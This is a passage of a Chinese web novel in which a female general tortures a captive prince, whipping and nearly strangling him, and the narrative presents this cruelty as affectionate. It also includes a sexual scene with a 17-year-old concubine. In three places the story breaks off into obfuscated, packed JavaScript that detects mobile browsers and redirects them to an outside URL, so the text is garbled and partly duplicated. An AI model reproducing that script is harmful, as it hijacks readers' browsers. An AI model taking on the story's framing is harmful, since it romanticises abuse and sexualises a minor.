嬴芜荼顺着她的目光低头看向自己,他吓得一下捂住了,他连忙说:“能不能换一个……” 他不想被打那里。 “又得寸进尺。”姜守烛的语气听不出怒气,她心情更好了。 “别生气别生气,那我不换了,想打就打吧……”嬴芜荼捂住耳朵,怕又被坏女人拎过去扭耳朵,早上被扭的那下太疼了,到晚上才消。 姜守烛将这根最细的丢在地板上,“允许你换一个。” “啊……好好……”嬴芜荼后知后觉,赶紧将这根最细的放回箱子里,还刨了两下,将它埋在最下面,防止下次再不小心拿出来,他在箱子里挑挑拣拣,选了第二细的一根,举到坏女人的面前,问:“这根可以吗?” 他的眼神还带着期待,这副模样,就像是夫郎跟随妻主出来逛街,在小摊上挑挑拣拣,选了一件首饰,求问妻主,这件可以买吗? 那种眼神,充满期待,又怕被妻主甩脸色拒绝。 姜守烛接过去,弯了弯,问:“想被打哪?” 让他自己选。 “我……前面可以吗?这里方便上药。”嬴芜荼还将上半身挺了挺。 昨夜后背那道伤就没能上到药,现在又红又肿,还发烫。 只是自己一个人没办法上药,只能咬牙硬撑着。 “好啊。”姜守烛高高举起手臂,她看到小兔子紧张地闭上双眼。 小兔子连睫毛都在颤|抖。 随即“啪”的一声,嬴芜荼趴倒在地板上,喊着:“啊……你打错了。” 因为姜守烛这一鞭,并未如约抽在小兔子的前胸上,而是抽到了后背上,和昨夜那道鞭伤,又画了一道叉。 姜守烛长长地“噢”了一声,惋惜道:“打错了啊,那可怎么办呢?不如这一鞭不算,重新打吧。” 嬴芜荼还趴在地上呢,他急得双手乱抓,一边喘|息着一边说:“别别……错了就错了吧,别打了,你答应过的,我自己选,就只打一下……” 哪有打错了还重打的! 那不就被多打了吗! 姜守烛笑意更甚,她一边擦着鞭子上的血,一边欣赏小兔子的表现,忍不住心里感叹着,这小兔子怎么越来越可爱了。 果然,还是得教训。 她将擦干净的鞭子丢进箱子里,吩咐道:“起来把箱子收好,明晚还有。” 嬴芜荼还没缓过来呢,他疼得直哼哼,心里却在偷偷骂她。 坏女人身手那么好,怎么可能想打前面却打到了后背? 分明就是故意的。 嬴芜荼委屈,但他不敢说出来。 只能默默忍耐了。 今晚只挨了一鞭子,比昨夜少了两鞭,虽然一样疼得难受,但比起昨夜还能继续忍受。 不过…… 还是忍不住想哼哼。 嬴芜荼缓了好几口才慢慢爬起来,他看到坏女人在盯着自己看,他主动道:“我会堵住嘴不叫出声的。” 省得打扰坏女人睡觉。 姜守烛见他这么听话,她心情更好了。 可是…… 嬴芜荼却面对着一个难题。 那就是,昨夜堵嘴的帕子脏了。 他用那帕子擦伤口的血来着,现在帕子染了血又干了,都变成黑色的了。 嬴芜荼怎么也没法把这脏兮兮的帕子塞进嘴里。 那咬着手呢? 可是他的手已经够残废了,也不能再咬了。 嬴芜荼突然想到了什么,他想起刚才在箱子里翻找时看到的东西,于是他又打开箱子,从里面拿出拶指的刑具,不过他的手没力气,费了好半天的劲也没能将上面的木棍拆下来。 “怎么?自己觉得不够?还想玩?”姜守烛见他在那摆弄半天,问道。 “不是……哈……啊……我怕忍不住哼哼打扰你,所以想堵住嘴,就想到这个,你能帮我拿下来吗?”说着,嬴芜荼还将拶指的刑具递到她的面前。 姜守烛被逗笑了,她难得好脾气的接过来,一下就将木棍从绳子中拆下来,再将木棍丢下去。 木棍在地板上骨碌骨碌,最后滚到嬴芜荼的面前停下。 嬴芜荼捡起木棍,咬在嘴里,同时慢慢地趴回地板上,晾晾背后新鲜的伤。 姜守烛见他叼着木棍的模样,怎么更像小狗了? 嬴芜荼自己下了决心,反正新伤是在背后,即使有了伤药也涂不了,所以明天就不和坏女人玩猜杯子的游戏了吧,也就不用冒着被抽耳光的风险了。 嬴芜荼即使男扮女装多年,装女人装惯了,但他还是很爱护自己这张脸的,不想再被打得脸肿那么高,也更怕被心狠手黑的坏女人打聋。 姜守烛今晚睡得翻来覆去的,她想把床下那个人叫上来抱着。 但小兔子身上身下都有血,她又不想弄脏床。 算了,等回了京,还愁没有睡的时候吗。 天亮了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14162701|148095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜守烛吃早饭的时候,嬴芜荼已经坐起来了,尽管背后的鞭伤没有处理,一夜过去,他已经能忍住不哼哼了,就是……伤还在流血。 “自己选一个。”姜守烛又拿出两个杯子。 嬴芜荼却摇头道:“我可以不选吗?我不要奖励,也不喝牛乳。” “怎么?想死?”姜守烛看不懂了。 “不是……我怕挨耳光。”嬴芜荼怕她生气,他赶紧解释。 姜守烛的唇角勾了一下,语气带着几分宠溺道:“兴许今天的惩罚不是耳光呢。” “那……那也不必了。”嬴芜荼小心地观察她的脸色,见她没有生气的样子,才敢继续坚持自己的。 “爱选不选,惯的你。”姜守烛一手一个,将两杯牛乳全都自己喝了。 嬴芜荼舔了舔下唇,他将自己又缩了缩。 饿一天饿不死。 反正就算猜对了有伤药也用不了,还不如就不冒着又多挨打的风险。 马车还停在原地。 姜守烛吃过早饭,下车去后面巡视一圈。 嬴芜荼一个人待在马车里,趁着坏女人不在,赶紧拿出五殿下给的东西,处理一下个人的问题。 等处理好了,他才长出一口气。 还好昨晚坏女人好说话,要不然万一被那最细的鞭子抽了那里,现在真不敢想得有多疼。 嬴芜荼将手掌举在炭盆附近烤着暖,左右等了半天,坏女人也还没回来。 坏女人该不会是去杀人了吧? 嬴芜荼忧心忡忡,他挪到马车门口,刚小心地推开马车门…… “回去!”车妇呵斥他道。 嬴芜荼现在双手被废,又遍体鳞伤,甚至都不是一个幼童的对手,他怕车妇回来向坏女人告状,于是赶紧退回去。 他本也没打算在大白天逃跑的。 嬴芜荼往回挪的时候,看到那两个空的杯子。 他不禁对今天杯子下的字条生起好奇。 坏女人说也许不是耳光,那又会是什么惩罚呢? 坏女人一肚子都是折磨人的坏心思。 反正现在坏女人也不在,不如就偷偷看看吧。 他将杯子挪开,小心地将折成两折的字条拆开…… 第一张上,是——伤药。 他不意外。 他又去摸第二张,拆开的同时,连心都跳得更快了些。 坏女人那么坏,她又有什么新招数? 第二张拆开了,上面也是——伤药。 嬴芜荼呆在原地,他本就无力的手垂了下去。 他第一反应不是后悔。 并未后悔刚才放弃选择,以至于今天饿着肚子。 他是在奇怪。 坏女人为什么准备了两张一样的奖励字条。 那同理,昨天早上的两张字条,是不是也是一样的伤药? 其实根本就没有惩罚字条? 所谓的耳光,只是坏女人骗人的? 马车外响起一阵踩雪的脚步声。 嬴芜荼知道是坏女人回来了,他赶紧将杯子挪回原位,缩到马车角落里,继续缩成团。 他的心里对坏女人生出了两分不一样的情绪,原本是纯恨她的,可是现在又觉得…… 姜守烛回到马车,她第一眼就发现杯子被动过了。 她的脸色倏地变冷了。 27.恃宠而骄 “我是不是给你脸了?” 她不高兴了,因为她的心思被发现了。 嬴芜荼吓得一缩,他低垂着头,不敢吭声。 “说话!”姜守烛的语气凌厉了几分。 嬴芜荼被吓得大气都不敢喘,后背不曾上过药的鞭伤又开始疼了。 手掌也疼,手腕也疼,断指也疼。 小腹最疼。 “我……我不小心看到的。”嬴芜荼知道是自己没能将杯子摆回原位,才被坏女人发现的。 毕竟他现在手指没力气捻起东西,所以没法折上字条。 姜守烛听了他的解释,可她的脸色并未缓和半分。 她闭上眼,开始回想这两日的点点滴滴。 她突然意识到,自己确实变得奇怪了。 为什么突然给小兔子这么多优待? 甚至还总是觉得他……可爱? 她想起之前和好友喝酒闲聊时提起的,若是一个女人觉得某个男人很可爱,想要怜爱,那就说明她完了。 因为她喜欢上这个男人了。 这怎么可能! 明明对待这只小兔子只有……情欲和征服欲而已。 想要打折他的傲骨,让他乖乖臣服。 现在留着他的性命,难道不是因为他伤得太重,还没法好好享用吗? 原本计划的,就是享用完将他杀掉的。 可是现在呢? 他这一副恃宠而骄的样子,简直就是被他看穿了。 姜守烛越想越气,她抬腿就是一脚踹上去。 这一脚正中嬴芜荼的左肩,将他踹倒在地板上。 嬴芜荼背后的鞭伤本就发炎得严重,这一下又剐蹭到了,他顿时发出一声惨叫。 实在太疼了。 “闭嘴!”姜守烛完全不想听。 她不愿意承认自己对小兔子的情感发生了转变,更不愿意回想这几日来对小兔子产生的好感。 这几日都做了什么? 昨夜甚至还想将他搂在怀里,明明之前只是拿男人们当个暖床的工具的,想抱着又算怎么回事? 一次次的纵容他,宽容他,鞭打完还找理由给他伤药,生怕不小心将他玩死了。 这简直就是失心疯了! 明明嬴芜荼只是一个玩具而已,玩死就玩死了,为什么要担心他! “让你闭嘴听不见?”姜守烛再次睁开眼时,她眼中蕴藏着怒火,之前的温柔全部消失殆尽。 “嗯……呜……”嬴芜荼努力让自己不哼哼出声,但是后背的鞭伤太严重了,刚才那一脚也很重,他根本忍不住。 “真是愈发蹬鼻子上脸!”姜守烛一弯腰,掐住嬴芜荼的脖子,将人提到面前来,她盯着这张脸。 这张脸上尽是惊恐和委屈,他的眼眶也哭红了,泪水顺着脸颊流淌下来时,还沾染到了她的手上。 “真是令人厌恶!我怎么可能真的喜欢上你!”姜守烛这话是对自己说的,她是绝对不会承认自己对小兔子产生了情欲和征服欲之外的感情,她的语气也更狠了几分,“都是你这个下贱的东西勾引我的!” 嬴芜荼更委屈了,他没有勾引坏女人。 坏女人一直都在虐待折磨自己,他又怎么敢勾引她呢。 但他哪敢解释辩解。 而且他也辩解不了,因为他的脖子被她的大手掐着,他都快要上不来气了,也更说不了话。 嬴芜荼的脸色涨得通红,连舌头都吐出来了,他不断咳嗽着,两只手想要去抓她的手腕,但是他的手没有力气,连握都握不住。 姜守烛又松开手,将手中差点被掐死的人摔回地板上。 嬴芜荼捂着脖颈还在咳嗽,他大口大口地喘着气,他根本就不知道坏女人为什么突然发作,不就是偷看了杯子下的字条吗,怎么感觉她比之前刺杀时还要生气? 看到字条是什么死罪吗? “你应该恨我才对。”姜守烛说着,从袖中丢出一块令牌。 金色的令牌滚到了嬴芜荼的面前停下。 嬴芜荼顿时不咳嗽了,他的手指想要将令牌捡起,但是捡不起来,他只能用指腹去摸索上面的那个“嬴”字。 这是嬴国皇室亲卫的令牌。 昨天跟他联络送火药的亲卫就该佩戴这样的令牌。 “我把她们都杀了,你应该恨我,你和我可是血海深仇的敌人,你又怎么敢勾引我?到底是你疯了还是我疯了?” 姜守烛完全不愿意承认自己喜欢上小兔子,所以这都是他勾引的!全怪他! 不得不说,嬴芜荼虽然身上脸上到处都是伤,但他的容貌很是俊秀,比五皇子还要美,所以他这种姿色稍加勾引,就让女人上了勾,也本就是理所应当。 姜守烛是个血气方刚的女人,在外出征打仗半年没见过男人,所以被这心机男人的小花招勾引到了,也算是情理之中,之前在不知道他身份之前,不就经常做奇怪的梦吗,那这一切就说得通了。 姜守烛给自己找好了解释的理由。 这回她的心里就舒服多了。 “你……你把她们都杀了?”嬴芜荼刚才被掐得半死,现在说话嗓音还是沙哑的。 姜守烛冷冷地说:“活埋了。怎么?你想去挖人?” “你……”嬴芜荼的心也冷了,他这两天就想问那两名亲卫的下落来着,但一直都没有开口机会,他甚至还想为她们求情,他并不是异想天开,明明这两天坏女人对自己愈发宽厚,虽然还是照打不误,但他的心思细腻,分明感受到了不一样的情愫,尤其是今早,还发现了坏女人字条中的小秘密,为何现在,她突然变得这么冷漠无情? 到底发生什么了? “对,就该用这种眼神看着我,你就该恨我,这样的我,你还想勾引吗?你可真是贱,我是你的敌人,你还敢勾引我,看来我不能给你一分好脸色!来人!”姜守烛一声令下,随着马车门被打开,她吩咐道:“把他锁起来,关进囚车,俘虏就该待在俘虏该待的地方。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14175216|148095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >妍副将也没搞懂,主将怎么突然和敌人闹翻了,之前不是又备牛乳又备字条的?但她也不会多问,拖着嬴芜荼的手臂就将人粗|暴地拽下了车。 嬴芜荼摔到雪地上时,还叫了一声。 姜守烛的眼神下意识就想去看叫声的来源,但她到底还是忍住了。 毕竟下属还在场,她就能永远保持那副不喜形于色的模样。 她只是在小兔子的面前,不会刻意去藏心底的情绪罢了。 一辆单独的囚车腾出来了,嬴芜荼不光被丢进马车,他的手腕脚腕重新锁上了沉重的锁链,尤其是脚腕,又拖着那颗大铁球。 这铁栏杆围起来的囚车四面漏风,和姜守烛的马车完全不能比,都别说取暖用的炭盆了,嬴芜荼连之前裹着的棉被都没有了。 姜守烛现在一个人坐在马车里,虽然只剩下她一个人,但小兔子的气味还在。 正是血腥味。 她打开马车门,血腥味正在散去。 “出发。”姜守烛下令。 大军继续前行。 马车里的血腥味也散光了,但是冷气也灌了进来。 姜守烛关上马车的门,她坐在空落落的马车里。 她又拿起那本根本看不进去的书,连书拿倒了都没发现,甚至还装模作样地翻了好几页。 直到自己发现书拿倒了,她直接将书拍在桌上。 不看了,不装了。 就是心烦怎么了? 没事的,还有几日就要回京了,等把家里的小侍们全叫来,轮番宠幸一下,很快就不惦记了。 至于这只小兔子,等他的伤养好了,享用完就杀了,甚至可以就埋在后花园。 而且今日之后,也绝不会再给他半分好脸色,那他就不会再持宠而娇勾引了。 姜守烛的目光看向马车角落的小箱子。 她觉得自己真是闲的没事做,跟小兔子玩这种情趣干什么? 等回家和家里的小侍们玩不就好了? 姜守烛以为自己想明白了,但是右手虎口突然发痒,她抓了抓,是之前被小兔子咬出的伤在痒。 其实已经快痊愈了。 姜守烛不抓了,她倒头躺下,假装困了。 但是心里又忍不住在想,小兔子被她打得那么严重,又来着月事,关在装俘虏的囚车里,会不会冻死? “冻死就冻死吧。” 姜守烛自言自语又翻了个身。 “可惜还没尝过……” 她又翻回来。 此时,妍副将在外面敲了敲马车的门,汇报道:“将军,那位晕过去了,您看……” 姜守烛一下坐起来了。 她的手抬起又放下,放下又抬起。 不行! 这小兔子半年来骗了自己那么多次,活捉他不就是为了报复吗? 让他就这么轻易死了,实在太便宜他了,必须留着他的性命,狠狠折磨才行。 “去救人。”姜守烛下令道。 28.搅了她的兴致 嬴芜荼之前就因风寒起过一次高热,是军医用了猛药才救回来的。 眼下这病还没完全痊愈,又是被毒打,又是吹冷风,这下彻底严重了。 军医已经给嬴芜荼下了最猛的药,但嬴芜荼还是没有醒过来的迹象。 姜守烛揉着眉心,她愈发心烦。 如今嬴芜荼就躺在她的床榻上,他的脸色像是熟透的虾,浑身上下都烫得惊人。 姜守烛也不知道自己早上是怎么了,被小兔子发现了自己的私心,她心里的火气就冲天而起,把火气全都撒在他的身上,现在却快把小兔子的命玩没了。 小兔子还没享用过呢。 还想看他张牙舞爪,还想看他呲牙咬人。 可现在……军医束手无策,除非回京找专门的大夫去治。 毕竟术业有专攻,军医擅长的是刀伤箭伤,而非这种风寒病症,再加上女男体质不同,军医也没治过男人,更不会用对口的药。 可是以马车现在的速度,离回京最快还得走七日。 以嬴芜荼现在这副虚弱垂死的模样,等七日后,怕不是都凉透了。 姜守烛的指|尖在掌心里攥了又攥。 她下了结论。 这是她的战利品,她还没玩够,那就不许死。 这次虽然玩过火,那她一定要把人救回来。 姜守烛将嬴芜荼用被子裹成一个卷,再用麻绳将人捆好,她穿上大氅,换上皮靴,对妍副将吩咐道:“我先一步骑马回京,你带领大军继续走,给京城写一封飞鸽传书,告知陛下我先一步到达,还有,若是嬴国俘虏敢有生事的就一律杀了。” 交代完军中的事,姜守烛将嬴芜荼打横放在马上,她翻身上了马,一抽马鞭,烈马如离弦之箭冲了出去。 越往南走,风雪就越小。 姜守烛快马加鞭,不过一天一夜就能赶回去。 等她骑马到天黑时,得让马停下饮水吃草歇一歇,要不然马就累死了。 她也将马上那个棉被卷抱下来,放在地上,她拆开被子卷的上一半,摸了摸嬴芜荼的鼻息。 还有气,但是更微弱了。 她心烦地将被子卷又裹起来,自己坐在大石头上,吃着随身带的干粮。 她狠狠地嚼着饼子,仿佛饼子是她的仇人。 可饼不是她的仇人,脚边的这位才是,但她不能让他死。 她吃完了饼,站起身,拍了拍身上的饼渣,回头望了一眼来时路。 行进到这里已经不下雪了。 她想不通对小兔子到底是什么感情。 反正先救活吧。 马饮够了水,也吃饱了草料。 姜守烛将人放上马,再继续骑马往京城赶。 终于在天亮正好开城门时,姜守烛回到了京城。 姜守烛的马直奔医馆而去,她下了马将被子卷扛在肩上就直接冲进去了。 正在大堂坐镇的大夫被这风风火火的女人吓了一跳,但随即认出来人了。 城里许多百姓都认识她。 “这不是姜将军吗?怎么回来了?将军不是在北地打仗吗?” “别废话,先救人。” 大夫赶紧过去查看,当被子卷上的麻绳被一刀割断,露出里面那个伤痕累累,只剩下一口气的人时,在场的人都倒吸一口凉气。 怎么会有人伤成这样? 这一身是血,又病又伤的,浑身上下都没一块好的了。 实在是太惨了。 一时间,医馆里的人都过来忙活。 伤口缝针的缝针,包扎的包扎,药熬好了轮番来灌,内伤外伤一起全治了。 大夫没忘了将军,还有人来给姜守烛奉上热茶。 姜守烛赶路一天一夜,她喝上热茶身子也舒服了些,但她的心里还是担心。 说不上是不是因为舍不得,总之不想让小兔子就这么死了。 大夫们一直忙活了两个多时辰,能用的药全都用了,能处理的伤也全治了,接下来就看嬴芜荼自己的造化了。 他要是命硬,那就能活下去,要是命不够硬,那就活不到天黑了。 姜守烛听完大夫的结论,强行付了诊金药钱,然后将嬴芜荼重新用被子卷包起来,放在马上,没几步路就到家了,于是她牵着马,往姜府走去。 姜府门房见到姜守烛时,还以为看花眼了,一边揉眼睛一边惊喜大叫着:“是大小姐回来了!” 姜守烛有点心虚,她交代下人将那个被子卷偷偷送去自己房里,不许惊动任何人,然后去了母亲的院子。 姜守烛的母亲是上一任镇国大将军,如今年事已高,但也老当益壮,如今正在院子里练剑,而父亲就在一旁捧着小手炉,笑盈盈地看着母亲,眼里尽是崇拜和爱慕。 姜守烛拍了拍赶路回来身上带的灰尘,快步跑进院子里,扑通一声跪下。 “母亲父亲,女儿凯旋了。” 老两口都是怔了一下,然后才看清楚是她们的女儿。 “你这孩子,回来就好,回来就好,快起来。” 一家三口抱在一起,其乐融融。 “让爹爹看看,有没有受伤?”姜父说着就开始掉眼泪,十分心疼女儿。 姜守烛任由母父瞧着,她觉得差不多了,说:“娘爹,我是提前回来的,还没进宫去见陛下,等我回来再和母父说话。” 进宫见陛下是要事,姜守烛回房换了一身进宫的朝服,顺便看了一眼躺在她床上的小兔子。 嬴芜荼紧闭着双眼,还是昏迷不醒。 姜守烛临走之前,又去探了探他的鼻息。 气息好像多了一点? 希望他能活下来吧…… 姜守烛骑马直奔宫门而去。 皇宫昨天就收到了妍副将的飞鸽传书,当皇帝问起姜守烛提前回京的原因时,姜守烛如实跟陛下汇报了嬴芜荼的事。 并且,当皇帝问她想要这次战胜的什么奖励时,姜守烛说只想要嬴芜荼。 可姜守烛不光得到了嬴芜荼,她还被陛下赏赐了……嬴小舞。 姜守烛以为嬴国五皇子是陛下想要的,可皇帝却本就打算将这嬴小舞赐给她做小侍。 去年皇帝赐给姜守烛一位美人,但那美人意外小产后患了疯病,最后出家了,因为姜守烛失去了她的第一个孩子,尽管未曾出生,但她也失落了两三日。 陛下却一直都记着这事,还以为姜守烛是因为美人疯了而失落,所以打算再从天下挑选一位美人赐给姜守烛以作补偿。 姜守烛领受皇恩。 本来陛下还想将姜守烛留下一同用膳,但见她归心似箭,体谅她出征半年,也就放她立刻回家去了。 姜守烛马不停蹄地回府,才一进大门,还不等迈过家里高高的门槛,就见四只打扮得花枝招展的“花蝴蝶”扑了过来。 姜守烛无奈地笑了一下,张开双臂,任由她的四个小侍将她抱了个满怀。 还好她长得高大强壮,手臂也长,要不然四个人都抱不全乎。 “妻主当初说好很快就归,如今半年过去,我好想妻主。” “妻主都晒黑了,妻主辛苦了呜呜……” “妻主今晚来我房里好不好……” “说好了今晚一起的!你想独占妻主?!” 四只花蝴蝶抱着姜守烛又贴又蹭,都恨不得挂在她的身上。 “好了好了,先让门房关上大门,你们这让街上的人看到都像什么样子?”姜守烛将身上的“挂件”往下摘了摘,她双臂搂着四个小侍,一边往自己院子里走,一边从左到右全看一遍,叹道:“怎么全都瘦了?” 感觉一阵北风就能把这四只蝴蝶风筝全吹上天。 因为自从她半年前离家,四个小侍每日都去城外山上的佛堂诵经念佛,吃素祈福,以求妻主在战场上刀枪不入,也求妻主早日凯旋。 他们四个殚精竭虑,整日里折腾来折腾去,憔悴得不像样子,时不时想起妻主,四个人就抱头痛哭。 本来姜守烛出发之前,答应过会偶尔给他们写信,但每次的家书都是问候母父安,半年下来,也就只有第一封信提过他们一句,他们将那页书信讨要回去,装裱成框,每每擦拭,都会落泪。 如今他们终于见到妻主归家,实在欢心得想飞起来。 四只花蝴蝶绕着姜守烛叽叽喳喳的吵个不停,以诉半年来的相思之苦。 可姜守烛只觉得吵闹,她的心里记挂着那只小兔子。 走到了她的院子门口,她停下脚步。 “你们都先回去吧。” 四人面面相觑,呆若木鸡,他们方才得知妻主归家,趁妻主进宫面圣,都迫不及待地沐浴焚香,梳妆打扮,怎么妻主要将他们赶走。 还全都赶走,一个不留? 眼见着四个小侍都要嚎啕大哭,姜守烛叹了口气,她伸出手,无奈道:“都别哭了,老规矩吧。” “带了带了!”乖小君从背后拿出签筒,这里面放着他们四个名字的签。 姜守烛随便抽了一根出来。 上面写着——香小君。 香小君激动得原地转圈,还双手合十,朝老天拜拜。 另外三人委屈得当场开始大哭,姜守烛对另外三个小侍一人摸了一下脑袋,安慰道:“行了,一人排一晚,以后都会有的,回去吧。” 主要是,别在她的院子里嚎啕大哭,太吵了,她房间里还有一个半死不活的病人呢。 打发走了四个缠人的小侍,姜守烛回到自己的房间。 她去看了一眼小兔子,探了探鼻息,好像气息更多了一点,又摸了摸额头,好像烧也退了一点。 姜守烛将他的衣裳剥开,看了看身上伤口,已经不那么红|肿了。 应该不会死吧。 姜守烛一边换下朝服穿上常服,一边心里琢磨着。 刚才家里那四个香香软软的小侍扑到怀里时,她脑子里想的,全都是小兔子。 晚饭时,姜守烛跟母父说了嬴芜荼的事。 姜母本来还有忧虑,毕竟一个外族人,还是昔日战场上的敌人,但听到女儿说,已经将嬴芜荼的手筋挑断了,那她就放心了。 一个手无缚鸡之力的废人,力气都没三岁的孩童大,也闹不出什么风浪来,况且陛下都已经同意了,姜母一向开明,并不干涉女儿后院的事。 姜父一向以妻主为天,见家主已经同意,他也妇唱夫随就是了。 姜守烛就知道母父不会不同意的。 晚饭后,主持家事的姜父去安排下人打扫新的院落,给过几天到来的嬴国五皇子做准备。 这并不是给亡国皇子嬴小舞的优待,也不光因为他是陛下赏赐,的,家里的香小君也是陛下赐的,主要是因为姜守烛方才在饭桌上说了,嬴小舞是个爱作闹的性子,所以就不安排他和那些小侍们住在一起了,省得闹腾。 至于嬴芜荼…… 姜守烛还不知道他能不能活下来,就先留在自己的房间了。 入了夜,姜守烛在家里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14215271|148095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舒舒服服泡了个澡后,她穿着里衣站在床前,看着床上那个依旧闭着眼睛的人。 她坐下,指|尖抵在小兔子的眉眼上,顺着鼻梁的起伏往下滑动,她摸到小兔子的嘴角时,又收回了手。 小兔子的唇上也有伤,不知道是哪次挨打时咬破的。 挨了太多次打,怕是他自己本人也不记得。 “妻主!” 此时门外传来甜甜的呼唤声。 姜守烛站起身,将床两侧的帘子放下,往外间走去,等坐到榻上后才说:“进来吧。” 香小君推开门,他的身上裹着一件又大又厚的狐裘,身后跟着的小厮还提着一个箱子。 香小君挥手让小厮退下,接过箱子,迈过门槛,关上房门的同时,将身上的狐裘丢到衣架上。 姜守烛的房间里灯火通明,她的脊背斜靠在软榻的枕头上,看着门口的香小君。 香小君今年十七,入府一年了,是去年陛下赐的,来自西域,容貌本就长得艳丽可人,如今狐裘一丢,露出一丝|不挂的曼妙身体。 也挂了,在锁骨间、腰间、大腿根间,都挂了金色的铃铛和珍珠,一扭一晃,环佩叮当。 香小君美目流转,一抬腿,将两只鞋子也踢掉了,提着小箱子哒哒哒直奔软榻上的人而来,同时喊着:“妻主……妻主不知道我有多想你,我想你想得好难受,妻主快放了我吧。” 难受是真的。 因为姜守烛看到了,本来她都忘了,是这一刻才想起来。 出发之前,香小君哀求她将自己锁起来,姜守烛随手照做了,没想到香小君就这么过了半年。 香小君一点都不觉得苦,他反而觉得很荣幸,妻主有四个小侍,只有他有这个殊荣。 就他独一份,其他哥哥弟弟都没有。 “啊……这个啊……”姜守烛坐起来了,因为她得找个工具,毕竟钥匙早就不知道丢到哪里去了,还好这种小锁用什么都能开,找到了,她抬手从香小君的头饰上取下一根钗,一下就把锁给开了。 “妻主你好急呀,都来不及去取钥匙了嘛,妻主我也急呢,但是妻主能不能再忍一下,我学了个新舞,想跳给妻主看……”香小君完全不知,他家妻主其实是钥匙丢了。 “行。”姜守烛又斜着靠回去,等着欣赏香小君的舞蹈。 其实她兴致不大,因为心里有着别的牵挂,甚至还时不时往里间看上一眼,在想床幔后的人是否还有气。 香小君自带体香,他将两段红绫从箱子里取出,跳了一段水袖舞。 每当长袖轻轻从姜守烛的面前划过时,她都能闻到那股好闻的香气。 只是…… 当长袖蒙住她的脸时,她的脑海里闪现的却是小兔子的身影。 “妻主怎么走神啦?是侍身跳得不好看吗?”香小君惴惴不安,这半年来,虽然妻主不在家,但他没有一刻荒废舞艺,加之白天又要去寺庙为妻主祈福,他都只能晚上回去练习基本功,睡得比那三个晚多了。 “好看,上来吧。”姜守烛敷衍地说完,再张开双臂,等着香小君来给她宽衣解带。 其实香小君跳得很好看、很用心,只是她没有欣赏的心情罢了。 香小君一抹眼泪,妻主给了台阶,他知情识趣,当然要赶紧下了,他连滚带爬上了软榻,扯开妻主衣带时,心里不禁嘀咕,妻主为何要在软榻上,这里地方小,妻主难道不会施展不开吗? 他又看了一眼里间的床,为何床幔都放下来了,那床上还有人吗? 他看到床前的脚凳上也没有鞋子,应当是多心了吧。 香小君不去想那些,作为妻主的男人,只需要挖空心思想着怎么讨好妻主就好了,旁的都是没用的,不需要去想。 姜守烛半年没开过荤了,香小君也半年没被妻主疼爱过了。 干柴烈火一触即发。 小箱子被打翻在地,红绫被扯得破破烂烂。 特异的香味和暧|昧的气息在房间里弥漫…… “妻主……”香小君被弄得半晕半醒,他只觉得,妻主这行军的半年,肯定没有碰过男人,要不然,怎么比之前,还要凶呀,他有点受不住了,想要求饶,但又狠狠咬着下唇,不肯求饶,想要多些才好…… “咳咳……” 姜守烛却突然自己停下了。 是这突兀的咳嗽声将她叫停的。 香小君突然愣住了,是方才出现幻听了吗? 这房间里,除了妻主爽快的声音,还有自己的呻|吟声之外,哪里来的咳嗽声? 还是一个男人的咳嗽声? “咳咳咳……” 这声音更响了。 姜守烛听清了,她起身就下去了。 香小君眨了眨刚才哭红的眼,他被弄得腰酸腿软,爬不起来,只能偏着头用视线跟随妻主的背影…… 姜守烛来到床前,掀开床幔,看到小兔子正在咳嗽。 他甚至连眼睛都睁开了。 太好了,人活了,她的战利品没死,不枉费她骑马一天一夜赶回来的辛劳。 她就说,她的玩具,还没玩尽兴呢,怎么能死呢? “你啊,搅了我的兴致,我得给你记在账上。”姜守烛虽然做到一半,还没爽到极致,但一想到小兔子活下来了,那这账就有人填补了。 这边嬴芜荼咳得愈发剧烈。 那边香小君也看清楚了,他咬着枕头的一角,甚至都不敢哭出声。 妻主怎么……又有新欢了呜……